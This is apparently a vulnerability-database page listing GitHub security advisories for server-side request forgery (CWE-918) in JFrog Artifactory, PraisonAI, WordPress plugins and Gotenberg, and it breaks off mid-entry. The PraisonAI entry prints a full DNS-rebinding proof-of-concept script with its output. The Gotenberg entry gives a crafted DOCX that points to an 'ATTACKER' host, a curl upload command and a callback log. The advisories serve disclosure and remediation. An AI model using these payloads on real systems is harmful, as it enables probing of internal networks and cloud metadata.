GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5695 vulnerabilities reference this CWE, most recent first.

GHSA-RJRX-72X7-QC85

Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-07-27 21:31
VLAI
Details

A URL validation weakness in JFrog Artifactory Ansible repository handling could allow a user, under specific repository access conditions, to cause unintended server-side requests. The issue primarily affects confidentiality and integrity and has been addressed in fixed Artifactory versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T20:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A URL validation weakness in JFrog Artifactory Ansible repository handling could allow a user, under specific repository access conditions, to cause unintended server-side requests.\nThe issue primarily affects confidentiality and integrity and has been addressed in fixed Artifactory versions.",
  "id": "GHSA-rjrx-72x7-qc85",
  "modified": "2026-07-27T21:31:22Z",
  "published": "2026-07-27T21:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65923"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJVW-7VVW-549V

Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding
Details

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport.

An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

  • v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
  • v4.5.128 (b4e3a8a8);
  • v4.6.56 (d3c4a2af);
  • v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
  • current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

  1. JobSubmitRequest.webhook_url is validated with urlparse() and socket.gethostbyname().
  2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
  3. The original URL string is stored on the Job.
  4. After job completion, _send_webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
  5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI Job validator plus JobExecutor._send_webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py

Observed output on current main:

DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from __future__ import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
    def do_POST(self) -> None:  # noqa: N802
        length = int(self.headers.get("content-length", "0"))
        body = self.rfile.read(length)
        self.server.received.put(  # type: ignore[attr-defined]
            {
                "path": self.path,
                "host": self.headers.get("host"),
                "body": body.decode("utf-8", "replace"),
            }
        )
        self.send_response(204)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def assert_direct_loopback_blocked(port: int) -> None:
    blocked = {}
    direct_url = f"http://127.0.0.1:{port}/hook"
    for model in (JobSubmitRequest, Job):
        try:
            model(prompt="x", webhook_url=direct_url)
            blocked[model.__name__] = False
        except Exception:
            blocked[model.__name__] = True

    print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
    if not all(blocked.values()):
        raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build_validated_job(port: int) -> Job:
    original_gethostbyname = socket.gethostbyname

    def validation_gethostbyname(host: str) -> str:
        if host == ATTACKER_HOST:
            return PUBLIC_IP
        return original_gethostbyname(host)

    socket.gethostbyname = validation_gethostbyname
    try:
        webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
        request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
        job.succeed({"pov": "job result sent to webhook"})
        return job
    finally:
        socket.gethostbyname = original_gethostbyname


async def send_after_rebind(job: Job, port: int) -> None:
    original_getaddrinfo = socket.getaddrinfo

    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
        normalized_host = host.decode() if isinstance(host, bytes) else host
        if normalized_host == ATTACKER_HOST:
            return [
                (
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    socket.IPPROTO_TCP,
                    "",
                    ("127.0.0.1", port_arg),
                )
            ]
        return original_getaddrinfo(host, port_arg, *args, **kwargs)

    socket.getaddrinfo = send_getaddrinfo
    try:
        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]
    finally:
        socket.getaddrinfo = original_getaddrinfo


def main() -> int:
    received: queue.Queue[dict[str, str]] = queue.Queue()
    server = HTTPServer(("127.0.0.1", 0), InternalHandler)
    server.received = received  # type: ignore[attr-defined]
    port = int(server.server_port)
    thread = threading.Thread(target=server.handle_request, daemon=True)
    thread.start()

    try:
        assert_direct_loopback_blocked(port)
        job = build_validated_job(port)
        print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
        asyncio.run(send_after_rebind(job, port))
    finally:
        server.server_close()

    try:
        hit = received.get_nowait()
    except queue.Empty:
        raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

    payload = json.loads(hit["body"])
    print("INTERNAL_SERVER_HIT: true")
    print("INTERNAL_REQUEST_HOST:", hit["host"])
    print("INTERNAL_REQUEST_PATH:", hit["path"])
    print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
    print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))

    if hit["host"] != f"{ATTACKER_HOST}:{port}":
        raise SystemExit("unexpected host header")
    if payload.get("status") != "succeeded":
        raise SystemExit("unexpected webhook payload")

    print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Intended-Behavior Validation

PraisonAI's Async Jobs documentation describes webhook_url as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.

The code also proves the intended safety boundary: both JobSubmitRequest and Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.

Impact

If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose webhook_url, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.

Practical impact includes:

  • blind interaction with internal HTTP services;
  • internal host/port reachability probing via timing and webhook error behavior;
  • POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
  • cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.

This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.

Severity

Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.

If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.

Suggested Fix

  • Move SSRF validation to the send path immediately before opening the outbound connection.
  • Resolve all candidate addresses with socket.getaddrinfo(), not only the first IPv4 answer from gethostbyname().
  • Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
  • Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
  • Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
  • Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.126"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI\u0027s Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n  `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 4.5.126, \u003c= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n   `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n   multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n   and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n   that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:\u003cport\u003e/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\u003cport\u003e\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI\u0027s Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n    def do_POST(self) -\u003e None:  # noqa: N802\n        length = int(self.headers.get(\"content-length\", \"0\"))\n        body = self.rfile.read(length)\n        self.server.received.put(  # type: ignore[attr-defined]\n            {\n                \"path\": self.path,\n                \"host\": self.headers.get(\"host\"),\n                \"body\": body.decode(\"utf-8\", \"replace\"),\n            }\n        )\n        self.send_response(204)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef assert_direct_loopback_blocked(port: int) -\u003e None:\n    blocked = {}\n    direct_url = f\"http://127.0.0.1:{port}/hook\"\n    for model in (JobSubmitRequest, Job):\n        try:\n            model(prompt=\"x\", webhook_url=direct_url)\n            blocked[model.__name__] = False\n        except Exception:\n            blocked[model.__name__] = True\n\n    print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n    if not all(blocked.values()):\n        raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -\u003e Job:\n    original_gethostbyname = socket.gethostbyname\n\n    def validation_gethostbyname(host: str) -\u003e str:\n        if host == ATTACKER_HOST:\n            return PUBLIC_IP\n        return original_gethostbyname(host)\n\n    socket.gethostbyname = validation_gethostbyname\n    try:\n        webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n        request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n        job.succeed({\"pov\": \"job result sent to webhook\"})\n        return job\n    finally:\n        socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -\u003e None:\n    original_getaddrinfo = socket.getaddrinfo\n\n    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n        normalized_host = host.decode() if isinstance(host, bytes) else host\n        if normalized_host == ATTACKER_HOST:\n            return [\n                (\n                    socket.AF_INET,\n                    socket.SOCK_STREAM,\n                    socket.IPPROTO_TCP,\n                    \"\",\n                    (\"127.0.0.1\", port_arg),\n                )\n            ]\n        return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n    socket.getaddrinfo = send_getaddrinfo\n    try:\n        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -\u003e int:\n    received: queue.Queue[dict[str, str]] = queue.Queue()\n    server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n    server.received = received  # type: ignore[attr-defined]\n    port = int(server.server_port)\n    thread = threading.Thread(target=server.handle_request, daemon=True)\n    thread.start()\n\n    try:\n        assert_direct_loopback_blocked(port)\n        job = build_validated_job(port)\n        print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n        asyncio.run(send_after_rebind(job, port))\n    finally:\n        server.server_close()\n\n    try:\n        hit = received.get_nowait()\n    except queue.Empty:\n        raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n    payload = json.loads(hit[\"body\"])\n    print(\"INTERNAL_SERVER_HIT: true\")\n    print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n    print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n    print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n    print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n    if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n        raise SystemExit(\"unexpected host header\")\n    if payload.get(\"status\") != \"succeeded\":\n        raise SystemExit(\"unexpected webhook payload\")\n\n    print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI\u0027s Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:\u003cport\u003e/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n  request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n  and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI\u0027s\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n  connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n  first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n  cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n  transport/proxy that validates the destination after DNS resolution and before\n  connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n  binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n  loopback, IPv6/private AAAA records with public A records, and allowed public\n  webhooks.",
  "id": "GHSA-rjvw-7vvw-549v",
  "modified": "2026-07-20T21:24:59Z",
  "published": "2026-06-18T13:57:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding"
}

GHSA-RJWC-PX3P-9MV8

Vulnerability from github – Published: 2025-10-24 06:31 – Updated: 2025-10-24 15:31
VLAI
Details

The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin before 3.0.2 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-24T06:15:35Z",
    "severity": "MODERATE"
  },
  "details": "The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More WordPress plugin before 3.0.2 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.",
  "id": "GHSA-rjwc-px3p-9mv8",
  "modified": "2025-10-24T15:31:25Z",
  "published": "2025-10-24T06:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10874"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/171ba43f-55b6-471d-af0a-be553baf639a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM2G-FHMJ-6XH3

Vulnerability from github – Published: 2026-01-16 09:31 – Updated: 2026-04-08 21:33
VLAI
Details

The DK PDF – WordPress PDF Generator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3.0 via the 'addContentToMpdf' function. This makes it possible for authenticated attackers, author level and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T07:15:54Z",
    "severity": "MODERATE"
  },
  "details": "The DK PDF \u2013 WordPress PDF Generator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3.0 via the \u0027addContentToMpdf\u0027 function. This makes it possible for authenticated attackers, author level and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-rm2g-fhmj-6xh3",
  "modified": "2026-04-08T21:33:10Z",
  "published": "2026-01-16T09:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14793"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dk-pdf/tags/2.3.0/modules/PDF/DocumentBuilder.php#L213"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dk-pdf/tags/2.3.0/templates/dkpdf-index.php#L134"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dk-pdf/trunk/modules/Frontend/WordPressIntegration.php?marks=22-25#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dk-pdf/trunk/modules/PDF/Generator.php?marks=24-56#L24"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3440588%40dk-pdf\u0026new=3440588%40dk-pdf\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b062f72a-542c-4212-af83-4faefbf69bd7?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RM4C-XJ6X-49MW

Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-05-14 20:52
VLAI
Summary
Gotenberg has a Server-Side Request Forgery (SSRF) Issue
Details

Summary

The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles — Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.

This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.

Details

When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():

err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)

There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs — but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.

OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.

Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess — no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.

PoC

Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.

word/_rels/document.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>

word/document.xml (references the external image via r:link):

<w:drawing>
  <wp:inline distT="0" distB="0" distL="0" distR="0">
    <wp:extent cx="914400" cy="914400"/>
    <wp:docPr id="1" name="Picture 1"/>
    <a:graphic>
      <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
        <pic:pic>
          <pic:nvPicPr>
            <pic:cNvPr id="1" name="ssrf.png"/>
            <pic:cNvPicPr/>
          </pic:nvPicPr>
          <pic:blipFill>
            <a:blip r:link="rId10"/>
            <a:stretch><a:fillRect/></a:stretch>
          </pic:blipFill>
          <pic:spPr>
            <a:xfrm>
              <a:off x="0" y="0"/>
              <a:ext cx="914400" cy="914400"/>
            </a:xfrm>
            <a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
          </pic:spPr>
        </pic:pic>
      </a:graphicData>
    </a:graphic>
  </wp:inline>
</w:drawing>

Pack into a valid DOCX zip and send:

curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx

Canary server immediately shows LibreOffice reaching out:

OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
